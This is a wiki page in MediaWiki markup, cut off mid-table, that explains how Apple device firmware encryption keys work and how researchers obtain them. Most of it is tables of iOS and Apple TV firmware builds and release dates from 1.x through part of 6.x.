__NOTOC__
'''Firmware Keys''' are keys which decrypt the [[:/|root filesystem]] of certain ([[Beta Firmware|beta]]) [[firmware]]s. Apple uses a to ensure the safety of their files. Over time Apple has changed the way to encrypt firmware files, thus the way to decrypt files as well as the way to get the keys has also.

== History ==
With the release of the iPhone came the [[S5L File Formats#IMG2|IMG2]] file format. They were used on all known [[iOS|iPhone OS]] [[#1.x|1.x]] firmwares. For the 1.1.x series, they were encrypted with the [[AES Keys#Key 0x837|0x837 key]]. The discovery of the 0x837 key led to the ability to decrypt ''any'' 1.x firmware.

Following IMG2 came the [[IMG3 File Format|IMG3]] file format. They were introduced with iPhone OS [[#1.x.2F2.x|2.0b4]], and have been in use ever since. In order to maintain their integrity, they contain multiple layers of encryption, all based around a [[wikipedia:Public-key cryptography|public/private key]] encryption method. Apple took encryption seriously with IMG3 by utilizing [[wikipedia:Advanced Encryption Standard|AES]] (based on the [[wikipedia:Rijndael key schedule|Rinjndael key schedule]]). In order to complicate things, they contain the [[VFDecrypt]] key, albeit encrypted, as part of the [[KBAG]] structure in the [[ramdisk]]s.

The ramdisk keys can ''only'' be retrieved with the processor specific [[GID Key]]. The GID key is currently unretrievable and can only be utilized through the built-in [[AES Keys|AES engine]]. To complicate things ''even more'', the engine is only accessible through a special [[bootrom]] exploit ([[jailbreak]]s typically expose it with [[:/dev/aes_0]]). This makes usage of the key nearly impossible.

However, once you have access to the AES engine, the entire system falls apart. You are able to upload an encrypted ramdisk and grab the decryption keys for it. Once you manage to decrypt the ramdisk, you can run it through [[GenPass]] to decrypt the Firmware key.

Beginning with iOS 6.0b1, Apple tweaked their disk images so they no longer work with VFDecrypt. VFDecrypt will report that the filesystem is decrypted, but you will be unable to mount it. The current workaround is to use [[dmg]] from [[Xpwn]] to decrypt them. What has changed to break VFDecrypt is currently unknown. Decryption will take slightly longer due to dmg writing its progress to the terminal, but the difference is negligible.

To find the keys, you can either use the the methods on [[AES Keys]] or the easier option, for OS X, [[keylimepie]].

== Decrypting ==
{{main|Decrypting Firmwares}}

== Notes ==
{| class="wikitable" style="float: right;"
|-
! Application Processor
! [[iDevice]]
|-
| [[S5L8900]]
| [[m68ap|iPhone 2G]] [[n82ap|iPhone 3G]] [[n45ap|iPod touch 1G]]
|-
| [[S5L8720]]
| [[n72ap|iPod touch 2G]]
|-
| [[S5L8920]]
| [[n88ap|iPhone 3GS]]
|-
| [[S5L8922]]
| [[n18ap|iPod touch 3G]]
|-
| [[S5L8930]] (A4)
| [[k48ap|iPad 1G]] [[iPhone 4]] [[n81ap|iPod touch 4G]] [[k66ap|Apple TV 2G]]
|-
| [[S5L8940]] (A5)
| [[iPad 2]] [[n94ap|iPhone 4S]]
|-
| [[S5L8942]] (A5 Rev A)
| [[k93aap|iPad 2 (Wi‑Fi) [Rev A]<nowiki/>]] [[j33ap|Apple TV 3G]] [[iPod touch 5G]] [[iPad mini 1G]]
|-
| [[S5L8945]] (A5X)
| [[iPad 3]]
|-
| [[S5L8947]] (A5 Rev B)
| [[j33iap|Apple TV 3G (Rev A)]]
|-
| [[S5L8950]] (A6)
| [[iPhone 5]] [[iPhone 5c]]
|-
| [[S5L8955]] (A6X)
| [[iPad 4]]
|-
| [[S5L8960]] (A7)
| [[iPhone 5s]], [[iPad mini 2G]]
|-
| [[S5L8965]] (A7 Rev A)
| [[iPad Air]]
|}

Certain files share the same key and IV per [[Application Processor|application processor]] (per build) provided the devices have the same pixel resolution:
* [[Update Ramdisk]]
* [[Restore Ramdisk]]
* [[AppleLogo]]
* [[BatteryCharging0]]
* [[BatteryCharging1]]
* [[BatteryFull]]
* [[BatteryLow0]]
* [[BatteryLow1]]
* [[GlyphCharging]]
* [[GlyphPlugin]]
* [[Kernelcache]]
* [[NeedService]]
* [[RecoveryMode]]
* [[WTF]]

The table on the right lists the application processors and their corresponding devices. This list is also accessable from the [[Main Page|main page]].

You can use [[img3decrypt]] or [[xpwntool]] to decrypt these files as described in [[Decrypting Firmwares]]. Once done, mount or extract using the tool of your choice.

When posting a key page, please use the [[Template:Keys|key template]].

The firmware version number for the [[Apple TV]] builds are the ones that the Apple TV reports (also known as the "marketing version").

All dates are relative to [[wikipedia:Coordinated Universal Time|UTC]].

You cannot get A5+ keys until a bootrom exploit is found. If the ramdisk is not encrypted, you may then get the RootFS key ONLY.

== Firmware Versions ==
{{see also|Prototypes}}
This is a full and comprehensive list of all firmwares Apple Inc. has made available to the public in some way, be it the [[Apple Developer|dev center]] or [[iTunes]].
=== Final ===
{{main|Firmware}}
==== 1.x ====
{| class="wikitable"
|-
! rowspan="2" | Date
! rowspan="2" | Build
! [[iPhone]]
! [[iPod touch]]
|-
! [[m68ap|2G]]
! [[n45ap|1G]]
|-
| 29 Jun 2007
! style="text-align:left;" | 1A543a
| class="rborderplz" | [[Heavenly 1A543a (iPhone)|1.0]]
| rowspan="3" {{n/a}}
|-
| 31 Jul 2007
! style="text-align:left;" | 1C25
| class="rborderplz" | [[SUHeavenlyJuly 1C25 (iPhone)|1.0.1]]
|-
| 21 Aug 2007
! style="text-align:left;" | 1C28
| class="rborderplz" | [[SUHeavenlyJuly 1C28 (iPhone)|1.0.2]]
|-
| rowspan="2" | 14 Sep 2007
! style="text-align:left;" | 3A100a
| rowspan="2" {{n/a}}
| [[Snowbird 3A100a (iPod touch)|1.1]]
|-
! style="text-align:left;" | 3A101a
| [[Snowbird 3A101a (iPod touch)|1.1]]
|-
| rowspan="2" | 27 Sep 2007
! style="text-align:left;" | 3A109a
| [[Snowbird 3A109a (iPhone)|1.1.1]]
| {{n/a}}
|-
! style="text-align:left;" | 3A110a
| {{n/a}}
| [[Snowbird 3A110a (iPod touch)|1.1.1]]
|-
| 12 Nov 2007
! style="text-align:left;" | 3B48b
| [[Oktoberfest 3B48b (iPhone)|1.1.2]]
| [[Oktoberfest 3B48b (iPod touch)|1.1.2]]
|-
| 15 Jan 2008
! style="text-align:left;" | 4A93
| [[Little Bear 4A93 (iPhone)|1.1.3]]
| [[Little Bear 4A93 (iPod touch)|1.1.3]]
|-
| 26 Feb 2008
! style="text-align:left;" | 4A102
| [[Little Bear 4A102 (iPhone)|1.1.4]]
| [[Little Bear 4A102 (iPod touch)|1.1.4]]
|-
| 14 Jul 2008
! style="text-align:left;" | 4B1
| {{n/a}}
| [[Little Bear 4B1 (iPod touch)|1.1.5]]
|}

==== 2.x ====
{| class="wikitable"
|-
! rowspan="2" | Date
! rowspan="2" | Build
! colspan="2" | [[iPhone]]
! colspan="2" | [[iPod touch]]
|-
! [[m68ap|2G]]
! [[n82ap|3G]]
! [[n45ap|1G]]
! [[n72ap|2G]]
|-
| rowspan="2" | 11 Jul 2008
! style="text-align:left;" | 5A345
| {{n/a}}
| [[Big Bear 5A345 (iPhone 3G)|2.0]]
| {{n/a}}
| rowspan="6" {{n/a}}
|-
! style="text-align:left;" | 5A347
| [[Big Bear 5A347 (iPhone)|2.0]]
| [[Big Bear 5A347 (iPhone 3G)|2.0]]
| class="rborderplz" | [[Big Bear 5A347 (iPod touch)|2.0]]
|-
| 4 Aug 2008
! style="text-align:left;" | 5B108
| [[Big Bear 5B108 (iPhone)|2.0.1]]
| [[Big Bear 5B108 (iPhone 3G)|2.0.1]]
| class="rborderplz" | [[Big Bear 5B108 (iPod touch)|2.0.1]]
|-
| 18 Aug 2008
! style="text-align:left;" | 5C1
| [[Big Bear 5C1 (iPhone)|2.0.2]]
| [[Big Bear 5C1 (iPhone 3G)|2.0.2]]
| class="rborderplz" | [[Big Bear 5C1 (iPod touch)|2.0.2]]
|-
| 12 Sep 2008
! style="text-align:left;" | 5F136
| [[Sugar Bowl 5F136 (iPhone)|2.1]]
| [[Sugar Bowl 5F136 (iPhone 3G)|2.1]]
| {{n/a|class=rborderplz}}
|-
| rowspan="2" | 9 Sep 2008
! style="text-align:left;" | 5F137
| colspan="2" {{n/a}}
| class="rborderplz" | [[Sugar Bowl 5F137 (iPod touch)|2.1]]
|-
! style="text-align:left;" | 5F138
| colspan="3" {{n/a}}
| [[Sugar Bowl 5F138 (iPod touch 2G)|2.1.1]]
|-
| rowspan="2" | 21 Nov 2008
! style="text-align:left;" | 5G77
| [[Timberline 5G77 (iPhone)|2.2]]
| [[Timberline 5G77 (iPhone 3G)|2.2]]
| [[Timberline 5G77 (iPod touch)|2.2]]
| {{n/a}}
|-
! style="text-align:left;" | 5G77a
| colspan="3" {{n/a}}
| [[Timberline 5G77a (iPod touch 2G)|2.2]]
|-
| class="nobborderplz" rowspan="2" | 27 Jan 2009
! style="text-align:left;" | 5H11
| [[SUTimberline 5H11 (iPhone)|2.2.1]]
| [[SUTimberline 5H11 (iPhone 3G)|2.2.1]]
| [[SUTimberline 5H11 (iPod touch)|2.2.1]]
| {{n/a}}
|-
! style="text-align:left;" | 5H11a
| colspan="3" {{n/a}}
| [[SUTimberline 5H11a (iPod touch 2G)|2.2.1]]
|}

==== 3.x ====
{| class="wikitable"
|-
! rowspan="2" | Date
! rowspan="2" | Build
! [[iPad]]
! colspan="3" | [[iPhone]]
! colspan="3" | [[iPod touch]]
|-
! [[k48ap|1G]]
! [[m68ap|2G]]
! [[n82ap|3G]]
! [[n88ap|3GS]]
! [[n45ap|1G]]
! [[n72ap|2G]]
! [[n18ap|3G]]
|-
| 17 Jun 2009
! style="text-align:left;" | 7A341
| rowspan="3" {{n/a}}
| [[Kirkwood 7A341 (iPhone)|3.0]]
| [[Kirkwood 7A341 (iPhone 3G)|3.0]]
| [[Kirkwood 7A341 (iPhone 3GS)|3.0]]
| [[Kirkwood 7A341 (iPod touch)|3.0]]
| [[Kirkwood 7A341 (iPod touch 2G)|3.0]]
| {{n/a}}
|-
| 31 Jul 2009
! style="text-align:left;" | 7A400
| [[Kirkwood 7A400 (iPhone)|3.0.1]]
| [[Kirkwood 7A400 (iPhone 3G)|3.0.1]]
| [[Kirkwood 7A400 (iPhone 3GS)|3.0.1]]
| colspan="3" rowspan="2" {{n/a}}
|-
| rowspan="2" | 9 Sep 2009
! style="text-align:left;" | 7C144
| [[Northstar 7C144 (iPhone)|3.1]]
| [[Northstar 7C144 (iPhone 3G)|3.1]]
| class="rborderplz" | [[Northstar 7C144 (iPhone 3GS)|3.1]]
|-
! style="text-align:left;" | 7C145
| colspan="4" {{n/a}}
| [[Northstar 7C145 (iPod touch)|3.1.1]]
| [[Northstar 7C145 (iPod touch 2G)|3.1.1]]
| [[Northstar 7C145 (iPod touch 3G)|3.1.1]]
|-
| 17 Sep 2009
! style="text-align:left;" | 7C146
| colspan="6" {{n/a}}
| [[Northstar 7C146 (iPod touch 3G)|3.1.1]]
|-
| 8 Oct 2009
! style="text-align:left;" | 7D11
| rowspan="2" {{n/a}}
| [[Northstar 7D11 (iPhone)|3.1.2]]
| [[Northstar 7D11 (iPhone 3G)|3.1.2]]
| [[Northstar 7D11 (iPhone 3GS)|3.1.2]]
| [[Northstar 7D11 (iPod touch)|3.1.2]]
| [[Northstar 7D11 (iPod touch 2G)|3.1.2]]
| [[Northstar 7D11 (iPod touch 3G)|3.1.2]]
|-
| 2 Feb 2010
! style="text-align:left;" | 7E18
| [[SUNorthstarTwo 7E18 (iPhone)|3.1.3]]
| [[SUNorthstarTwo 7E18 (iPhone 3G)|3.1.3]]
| [[SUNorthstarTwo 7E18 (iPhone 3GS)|3.1.3]]
| [[SUNorthstarTwo 7E18 (iPod touch)|3.1.3]]
| [[SUNorthstarTwo 7E18 (iPod touch 2G)|3.1.3]]
| [[SUNorthstarTwo 7E18 (iPod touch 3G)|3.1.3]]
|-
| 3 Apr 2010
! style="text-align:left;" | 7B367
| [[Wildcat 7B367 (iPad)|3.2]]
| colspan="6" rowspan="3" {{n/a|class=brradiusplz nobborderplz}}
|-
| 15 Jul 2010
! style="text-align:left;" | 7B405
| class="rborderplz" | [[Wildcat 7B405 (iPad)|3.2.1]]
|-
| 11 Aug 2010
! style="text-align:left;" | 7B500
| class="noradiusplz rborderplz" | [[Wildcat 7B500 (iPad)|3.2.2]]
|}

==== 4.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! [[Apple TV]]
! colspan="4" | [[iPad]]
! colspan="4" | [[iPhone]]
! colspan="3" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! rowspan="2" | [[k48ap|1G]]
! colspan="3" | [[iPad 2|2]]
! rowspan="2" | [[n82ap|3G]]
! rowspan="2" | [[n88ap|3GS]]
! colspan="2" | [[iPhone 4|4]]
! rowspan="2" | [[n72ap|2G]]
! rowspan="2" | [[n18ap|3G]]
! rowspan="2" | [[n81ap|4G]]
|-
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[n90ap|GSM]]
! class="rborderplz" | [[n92ap|CDMA]]
|-
| 1 Sep 2010
! style="text-align:left;" | 8M89
| [[Mojave 8M89 (Apple TV 2G)|4.1]]
| colspan="11" {{n/a}}
|-
| 21 Jun 2010
! style="text-align:left;" | 8A293
| rowspan="4" colspan="5" {{n/a}}
| [[Apex 8A293 (iPhone 3G)|4.0]]
| [[Apex 8A293 (iPhone 3GS)|4.0]]
| [[Apex 8A293 (iPhone 4 GSM)|4.0]]
| {{n/a}}
| [[Apex 8A293 (iPod touch 2G)|4.0]]
| [[Apex 8A293 (iPod touch 3G)|4.0]]
| {{n/a}}
|-
| 15 Jul 2010
! style="text-align:left;" | 8A306
| [[Apex 8A306 (iPhone 3G)|4.0.1]]
| [[Apex 8A306 (iPhone 3GS)|4.0.1]]
| [[Apex 8A306 (iPhone 4 GSM)|4.0.1]]
| colspan="4" {{n/a}}
|-
| 11 Aug 2010
! style="text-align:left;" | 8A400
| [[Apex 8A400 (iPhone 3G)|4.0.2]]
| [[Apex 8A400 (iPhone 3GS)|4.0.2]]
| [[Apex 8A400 (iPhone 4 GSM)|4.0.2]]
| rowspan="2" {{n/a}}
| [[Apex 8A400 (iPod touch 2G)|4.0.2]]
| [[Apex 8A400 (iPod touch 3G)|4.0.2]]
| {{n/a}}
|-
| 8 Sep 2010
! style="text-align:left;" | 8B117
| [[Baker 8B117 (iPhone 3G)|4.1]]
| [[Baker 8B117 (iPhone 3GS)|4.1]]
| [[Baker 8B117 (iPhone 4 GSM)|4.1]]
| [[Baker 8B117 (iPod touch 2G)|4.1]]
| [[Baker 8B117 (iPod touch 3G)|4.1]]
| [[Baker 8B117 (iPod touch 4G)|4.1]]
|-
| 21 Sep 2010
! style="text-align:left;" | 8B118
| colspan="11" {{n/a}}
| [[Baker 8B118 (iPod touch 4G)|4.1]]
|-
| rowspan="2" | 22 Nov 2010
! style="text-align:left;" | 8C148
| {{n/a}}
| [[Jasper 8C148 (iPad)|4.2.1]]
| colspan="3" {{n/a}}
| [[Jasper 8C148 (iPhone 3G)|4.2.1]]
| {{n/a}}
| [[Jasper 8C148 (iPhone 4 GSM)|4.2.1]]
| {{n/a}}
| [[Jasper 8C148 (iPod touch 2G)|4.2.1]]
| [[Jasper 8C148 (iPod touch 3G)|4.2.1]]
| [[Jasper 8C148 (iPod touch 4G)|4.2.1]]
|-
! style="text-align:left;" | 8C148a
| colspan="6" {{n/a}}
| [[Jasper 8C148a (iPhone 3GS)|4.2.1]]
| colspan="5" {{n/a}}
|-
| 22 Nov 2010
! style="text-align:left;" | 8C150
| [[Jasper 8C150 (Apple TV 2G)|4.2]]
| rowspan="2" colspan="11" {{n/a}}
|-
| 14 Dec 2010
! style="text-align:left;" | 8C154
| class="rborderplz" | [[Jasper 8C154 (Apple TV 2G)|4.2.1]]
|-
| 7 Feb 2011
! style="text-align:left;" | 8E128
| class="nobborderplz" colspan="8" rowspan="6" {{n/a}}
| [[Phoenix 8E128 (iPhone 4 CDMA)|4.2.5]]
| class="nobborderplz" colspan="3" rowspan="6" {{n/a}}
|-
| 10 Feb 2011
! style="text-align:left;" | 8E200
| class="rborderplz" | [[Phoenix 8E200 (iPhone 4 CDMA)|4.2.6]]
|-
| 14 Apr 2011
! style="text-align:left;" | 8E303
| class="rborderplz" | [[Phoenix 8E303 (iPhone 4 CDMA)|4.2.7]]
|-
| 4 May 2011
! style="text-align:left;" | 8E401
| class="rborderplz" | [[Phoenix 8E401 (iPhone 4 CDMA)|4.2.8]]
|-
| 15 Jul 2011
! style="text-align:left;" | 8E501
| class="rborderplz" | [[Phoenix 8E501 (iPhone 4 CDMA)|4.2.9]]
|-
| 25 Jul 2011
! style="text-align:left;" | 8E600
| class="rborderplz" | [[Phoenix 8E600 (iPhone 4 CDMA)|4.2.10]]
|-
| rowspan="2" | 9 Mar 2011
! style="text-align:left;" | 8F190
| {{n/a}}
| [[Durango 8F190 (iPad)|4.3]]
| colspan="4" {{n/a}}
| [[Durango 8F190 (iPhone 3GS)|4.3]]
| [[Durango 8F190 (iPhone 4 GSM)|4.3]]
| colspan="2" {{n/a}}
| [[Durango 8F190 (iPod touch 3G)|4.3]]
| [[Durango 8F190 (iPod touch 4G)|4.3]]
|-
! style="text-align:left;" | 8F191
| colspan="2" {{n/a}}
| [[Durango 8F191 (iPad 2 Wi-Fi)|4.3]]
| [[Durango 8F191 (iPad 2 GSM)|4.3]]
| [[Durango 8F191 (iPad 2 CDMA)|4.3]]
| colspan="7" {{n/a}}
|-
| 11 Mar 2011
! style="text-align:left;" | 8F191m
| [[Durango 8F191m (Apple TV 2G)|4.3]]
| rowspan="4" colspan="11" {{n/a}}
|-
| 22 Mar 2011
! style="text-align:left;" | 8F202
| class="rborderplz" | [[DurangoTide 8F202 (Apple TV 2G)|4.3]]
|-
| 10 May 2011
! style="text-align:left;" | 8F305
| class="rborderplz" | [[DurangoTide 8F305 (Apple TV 2G)|4.3]]
|-
| 1 Aug 2011
! style="text-align:left;" | 8F455
| class="rborderplz" | [[DurangoTideCuba 8F455 (Apple TV 2G)|4.3]]
|-
| 25 Mar 2011
! style="text-align:left;" | 8G4
| rowspan="2" {{n/a}}
| [[Durango 8G4 (iPad)|4.3.1]]
| [[Durango 8G4 (iPad 2 Wi-Fi)|4.3.1]]
| [[Durango 8G4 (iPad 2 GSM)|4.3.1]]
| [[Durango 8G4 (iPad 2 CDMA)|4.3.1]]
| {{n/a}}
| [[Durango 8G4 (iPhone 3GS)|4.3.1]]
| [[Durango 8G4 (iPhone 4 GSM)|4.3.1]]
| colspan="2" rowspan="2" {{n/a}}
| [[Durango 8G4 (iPod touch 3G)|4.3.1]]
| [[Durango 8G4 (iPod touch 4G)|4.3.1]]
|-
| rowspan="2" | 14 Apr 2011
! style="text-align:left;" | 8H7
| [[Durango 8H7 (iPad)|4.3.2]]
| [[Durango 8H7 (iPad 2 Wi-Fi)|4.3.2]]
| [[Durango 8H7 (iPad 2 GSM)|4.3.2]]
| colspan="2" {{n/a}}
| [[Durango 8H7 (iPhone 3GS)|4.3.2]]
| [[Durango 8H7 (iPhone 4 GSM)|4.3.2]]
| [[Durango 8H7 (iPod touch 3G)|4.3.2]]
| [[Durango 8H7 (iPod touch 4G)|4.3.2]]
|-
! style="text-align:left;" | 8H8
| colspan="4" {{n/a}}
| [[Durango 8H8 (iPad 2 CDMA)|4.3.2]]
| colspan="7" {{n/a}}
|-
| rowspan="2" | 4 May 2011
! style="text-align:left;" | 8J2
| colspan="2" {{n/a}}
| [[Durango 8J2 (iPad 2 Wi-Fi)|4.3.3]]
| [[Durango 8J2 (iPad 2 GSM)|4.3.3]]
| [[Durango 8J2 (iPad 2 CDMA)|4.3.3]]
| {{n/a}}
| [[Durango 8J2 (iPhone 3GS)|4.3.3]]
| [[Durango 8J2 (iPhone 4 GSM)|4.3.3]]
| colspan="2" {{n/a}}
| [[Durango 8J2 (iPod touch 3G)|4.3.3]]
| [[Durango 8J2 (iPod touch 4G)|4.3.3]]
|-
! style="text-align:left;" | 8J3
| rowspan="3" {{n/a|class=nobborderplz}}
| [[Durango 8J3 (iPad)|4.3.3]]
| colspan="10" {{n/a}}
|-
| 15 Jul 2011
! style="text-align:left;" | 8K2
| [[Durango 8K2 (iPad)|4.3.4]]
| [[Durango 8K2 (iPad 2 Wi-Fi)|4.3.4]]
| [[Durango 8K2 (iPad 2 GSM)|4.3.4]]
| [[Durango 8K2 (iPad 2 CDMA)|4.3.4]]
| rowspan="2" {{n/a|class=nobborderplz}}
| [[Durango 8K2 (iPhone 3GS)|4.3.4]]
| [[Durango 8K2 (iPhone 4 GSM)|4.3.4]]
| colspan="2" rowspan="2" {{n/a|class=nobborderplz}}
| [[Durango 8K2 (iPod touch 3G)|4.3.4]]
| [[Durango 8K2 (iPod touch 4G)|4.3.4]]
|-
| 25 Jul 2011
! style="text-align:left;" | 8L1
| [[Durango 8L1 (iPad)|4.3.5]]
| [[Durango 8L1 (iPad 2 Wi-Fi)|4.3.5]]
| [[Durango 8L1 (iPad 2 GSM)|4.3.5]]
| [[Durango 8L1 (iPad 2 CDMA)|4.3.5]]
| [[Durango 8L1 (iPhone 3GS)|4.3.5]]
| [[Durango 8L1 (iPhone 4 GSM)|4.3.5]]
| [[Durango 8L1 (iPod touch 3G)|4.3.5]]
| [[Durango 8L1 (iPod touch 4G)|4.3.5]]
|}

==== 5.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! colspan="2" | [[Apple TV]]
! colspan="8" | [[iPad]]
! colspan="4" | [[iPhone]]
! colspan="2" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! rowspan="2" | [[j33ap|3G]]
! rowspan="2" | [[k48ap|1G]]
! colspan="4" | [[iPad 2|2]]
! colspan="3" | [[iPad 3|3]]
! rowspan="2" | [[n88ap|3GS]]
! colspan="2" | [[iPhone 4|4]]
! rowspan="2" | [[n94ap|4S]]
! rowspan="2" | [[n18ap|3G]]
! rowspan="2" | [[n81ap|4G]]
|-
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[k93aap|Wi‑Fi (A)]]
! [[j1ap|Wi-Fi]]
! [[j2ap|CDMA]]
! [[j2aap|Global]]
! [[n90ap|GSM]]
! class="rborderplz" | [[n92ap|CDMA]]
|-
| rowspan="2" | 12 Oct 2011
! style="text-align:left;" | 9A334
| colspan="2" {{n/a}}
| [[Telluride 9A334 (iPad)|5.0]]
| [[Telluride 9A334 (iPad 2 Wi-Fi)|5.0]]
| [[Telluride 9A334 (iPad 2 GSM)|5.0]]
| [[Telluride 9A334 (iPad 2 CDMA)|5.0]]
| colspan="4" {{n/a}}
| [[Telluride 9A334 (iPhone 3GS)|5.0]]
| [[Telluride 9A334 (iPhone 4 GSM)|5.0]]
| [[Telluride 9A334 (iPhone 4 CDMA)|5.0]]
| [[Telluride 9A334 (iPhone 4S)|5.0]]
| [[Telluride 9A334 (iPod touch 3G)|5.0]]
| [[Telluride 9A334 (iPod touch 4G)|5.0]]
|-
! style="text-align:left;" | 9A334v
| [[Telluride 9A334v (Apple TV 2G)|4.4]]
| rowspan="3" colspan="15" {{n/a}}
|-
| 18 Oct 2011
! style="text-align:left;" | 9A335a
| class="rborderplz" | [[Telluride 9A335a (Apple TV 2G)|4.4.1]]
|-
| 2 Nov 2011
! style="text-align:left;" | 9A336a
| class="rborderplz" | [[Telluride 9A336a (Apple TV 2G)|4.4.2]]
|-
| 10 Nov 2011
! style="text-align:left;" | 9A405
| colspan="2" {{n/a}}
| [[Telluride 9A405 (iPad)|5.0.1]]
| [[Telluride 9A405 (iPad 2 Wi-Fi)|5.0.1]]
| [[Telluride 9A405 (iPad 2 GSM)|5.0.1]]
| [[Telluride 9A405 (iPad 2 CDMA)|5.0.1]]
| colspan="4" {{n/a}}
| [[Telluride 9A405 (iPhone 3GS)|5.0.1]]
| [[Telluride 9A405 (iPhone 4 GSM)|5.0.1]]
| [[Telluride 9A405 (iPhone 4 CDMA)|5.0.1]]
| [[Telluride 9A405 (iPhone 4S)|5.0.1]]
| [[Telluride_9A405 (iPod touch 3G)|5.0.1]]
| [[Telluride_9A405 (iPod touch 4G)|5.0.1]]
|-
| 17 Nov 2011
! style="text-align:left;" | 9A405l
| [[Telluride 9A405l (Apple TV 2G)|4.4.3]]
| colspan="15" {{n/a}}
|-
| rowspan="2" | 15 Dec 2011
! style="text-align:left;" | 9A406
| colspan="13" {{n/a}}
| [[Telluride 9A406 (iPhone 4S)|5.0.1]]
| colspan="2" {{n/a}}
|-
! style="text-align:left;" | 9A406a
| [[Telluride 9A406a (Apple TV 2G)|4.4.4]]
| colspan="15" {{n/a}}
|-
| rowspan="3" | 7 Mar 2012
! style="text-align:left;" | 9B176
| colspan="2" {{n/a}}
| [[Hoodoo 9B176 (iPad)|5.1]]
| [[Hoodoo 9B176 (iPad 2 Wi-Fi)|5.1]]
| [[Hoodoo 9B176 (iPad 2 GSM)|5.1]]
| [[Hoodoo 9B176 (iPad 2 CDMA)|5.1]]
| [[Hoodoo 9B176 (iPad 2 Wi-Fi Rev A)|5.1]]
| [[Hoodoo 9B176 (iPad 3 Wi-Fi)|5.1]]
| [[Hoodoo 9B176 (iPad 3 CDMA)|5.1]]
| [[Hoodoo 9B176 (iPad 3 Global)|5.1]]
| [[Hoodoo 9B176 (iPhone 3GS)|5.1]]
| [[Hoodoo 9B176 (iPhone 4 GSM)|5.1]]
| [[Hoodoo 9B176 (iPhone 4 CDMA)|5.1]]
| {{n/a}}
| [[Hoodoo 9B176 (iPod touch 3G)|5.1]]
| [[Hoodoo 9B176 (iPod touch 4G)|5.1]]
|-
! style="text-align:left;" | 9B179
| colspan="13" {{n/a}}
| [[Hoodoo 9B179 (iPhone 4S)|5.1]]
| colspan="2" {{n/a}}
|-
! style="text-align:left;" | 9B179b
| [[Hoodoo 9B179b (Apple TV 2G)|5.0]]
| [[Hoodoo 9B179b (Apple TV 3G)|5.0]]
| colspan="14" {{n/a}}
|-
| rowspan="2" | 10 May 2012
! style="text-align:left;" | 9B206
| colspan="2" {{n/a}}
| [[Hoodoo 9B206 (iPad)|5.1.1]]
| [[Hoodoo 9B206 (iPad 2 Wi-Fi)|5.1.1]]
| [[Hoodoo 9B206 (iPad 2 GSM)|5.1.1]]
| [[Hoodoo 9B206 (iPad 2 CDMA)|5.1.1]]
| [[Hoodoo 9B206 (iPad 2 Wi-Fi Rev A)|5.1.1]]
| [[Hoodoo 9B206 (iPad 3 Wi-Fi)|5.1.1]]
| [[Hoodoo 9B206 (iPad 3 CDMA)|5.1.1]]
| [[Hoodoo 9B206 (iPad 3 Global)|5.1.1]]
| [[Hoodoo 9B206 (iPhone 3GS)|5.1.1]]
| [[Hoodoo 9B206 (iPhone 4 GSM)|5.1.1]]
| [[Hoodoo 9B206 (iPhone 4 CDMA)|5.1.1]]
| [[Hoodoo 9B206 (iPhone 4S)|5.1.1]]
| [[Hoodoo_9B206 (iPod touch 3G)|5.1.1]]
| [[Hoodoo 9B206 (iPod touch 4G)|5.1.1]]
|-
! style="text-align:left;" | 9B206f
| [[Hoodoo 9B206f (Apple TV 2G)|5.0.1]]
| [[Hoodoo 9B206f (Apple TV 3G)|5.0.1]]
| colspan="14" {{n/a}}
|-
| 25 May 2012
! style="text-align:left;" | 9B208
| colspan="11" {{n/a}}
| [[Hoodoo 9B208 (iPhone 4 GSM)|5.1.1]]
| colspan="4" {{n/a}}
|-
| 5 Jun 2012
! style="text-align:left;" | 9B830
| [[HoodooTide 9B830 (Apple TV 2G)|5.0.2]]
| [[HoodooTide 9B830 (Apple TV 3G)|5.0.2]]
| colspan="14" {{n/a}}
|}

==== 6.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! colspan="3" | [[Apple TV]]
! colspan="10" | [[iPad]]
! colspan="3" | [[iPad mini]]
! colspan="7" | [[iPhone]]
! colspan="2" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! colspan="2" | [[Apple TV 3G|3G]]
! colspan="4" | [[iPad 2|2]]
! colspan="3" | [[iPad 3|3]]
! colspan="3" | [[iPad 4|4]]
! colspan="3" | [[iPad mini 1G|1G]]
! rowspan="2" | [[n88ap|3GS]]
! colspan="3" | [[iPhone 4|4]]
! rowspan="2" | [[n94ap|4S]]
! colspan="2" | [[iPhone 5|5]]
! rowspan="2" | [[n81ap|4G]]
! rowspan="2" | [[iPod touch 5G|5G]]
|-
! [[j33ap|Orig]]
! [[j33iap|Rev A]]
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[k93aap|Wi‑Fi (A)]]
! [[j1ap|Wi‑Fi]]
! [[j2ap|CDMA]]
! [[j2aap|Global]]
! [[p101ap|Wi‑Fi]]
! [[p102ap|GSM]]
! [[p103ap|Global]]
! [[p105ap|Wi‑Fi]]
! [[p106ap|GSM]]
! [[p107ap|Global]]
! [[n90ap|GSM]]
! [[n90bap|GSM (A)]]
! [[n92ap|CDMA]]
! [[n41ap|GSM]]
! class="rborderplz" | [[n42ap|Global]]
|-
| rowspan="3" | 19 Sep 2012
! style="text-align:left;" | 10A403
| colspan="3" {{n/a}}
| [[Sundance 10A403 (iPad 2 Wi-Fi)|6.0]]
| [[Sundance 10A403 (iPad 2 GSM)|6.0]]
| [[Sundance 10A403 (iPad 2 CDMA)|6.0]]
| [[Sundance 10A403 (iPad 2 Wi-Fi Rev A)|6.0]]
| [[Sundance 10A403 (iPad 3 Wi-Fi)|6.0]]
| [[Sundance 10A403 (iPad 3 CDMA)|6.0]]
| [[Sundance 10A403 (iPad 3 Global)|6.0]]
| colspan="6" {{n/a}}
| [[Sundance 10A403 (iPhone 3GS)|6.0]]
| [[Sundance 10A403 (iPhone 4 GSM)|6.0]]
| [[Sundance 10A403 (iPhone 4 GSM Rev A)|6.0]]
| [[Sundance 10A403 (iPhone 4 CDMA)|6.0]]
| [[Sundance 10A403 (iPhone 4S)|6.0]]
